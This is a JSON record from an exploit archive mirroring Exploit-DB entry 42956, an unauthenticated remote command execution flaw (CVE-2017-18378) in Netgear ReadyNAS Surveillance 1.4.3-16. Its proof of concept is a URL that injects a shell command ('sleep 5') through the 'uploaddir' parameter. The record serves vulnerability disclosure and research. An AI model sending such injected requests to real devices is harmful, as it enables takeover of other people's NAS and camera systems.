{"exploit":{"id":"EDB-42956","name":"Netgear ReadyNAS Surveillance 1.4.3-16 - 'uploaddir' Unauthenticated Remote Command Execution","description":"Netgear ReadyNAS Surveillance 1.4.3-16 - 'uploaddir' Unauthenticated Remote Command Execution","cves":["CVE-2017-18378"],"author":"Kacper Szurek","published":"2017-09-27","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42956","path":"exploits/php/webapps/42956.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42956.txt","vulnerabilities":[{"id":"CVE-2017-18378","state":"PUBLISHED","title":null,"titleSource":null,"description":"In NETGEAR ReadyNAS Surveillance before 1.4.3-17 x86 and before 1.1.4-7 ARM, $_GET['uploaddir'] is not escaped and is passed to system() through $tmp_upload_dir, leading to upgrade_handle.php?cmd=writeuploaddir remote command execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-18378","cvss":{"version":"3.0","baseScore":8.4,"severity":"high","vectorString":"CVSS:3.0/AC:L/AV:L/A:H/C:H/I:H/PR:N/S:U/UI:N","source":"mitre","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2017-18378"},"updatedAt":"2024-08-05T21:20:50.846Z","retrievedAt":"2026-11-26T22:49:31.225Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42956.png?v=2","url":"https://exploitbin.com/exploits/EDB-42956","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42956/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42956/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Netgear ReadyNAS Surveillance 1.4.3-16 Unauthenticated RCE\n# Date: 27.09.2017\n# Software Link: https://www.netgear.com/\n# Exploit Author: Kacper Szurek\n# Contact: https://twitter.com/KacperSzurek\n# Website: https://security.szurek.pl/\n# Category: remote\n\n1. Description\n\n$_GET['uploaddir'] is not escaped and passed to system() through $tmp_upload_dir.\n\nhttps://security.szurek.pl/netgear-ready-nas-surveillance-14316-unauthenticated-rce.html\n\n2. Proof of Concept\n\nhttp://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27","sha256":"edc1d2146990e2b510858b8c940c2ab774a6b00298f1786cd1dac0e6af2d02f5","bytes":550,"fetchedAt":"2026-11-27T09:07:18.133Z","encoding":"utf-8 (display only; download retains original bytes)"}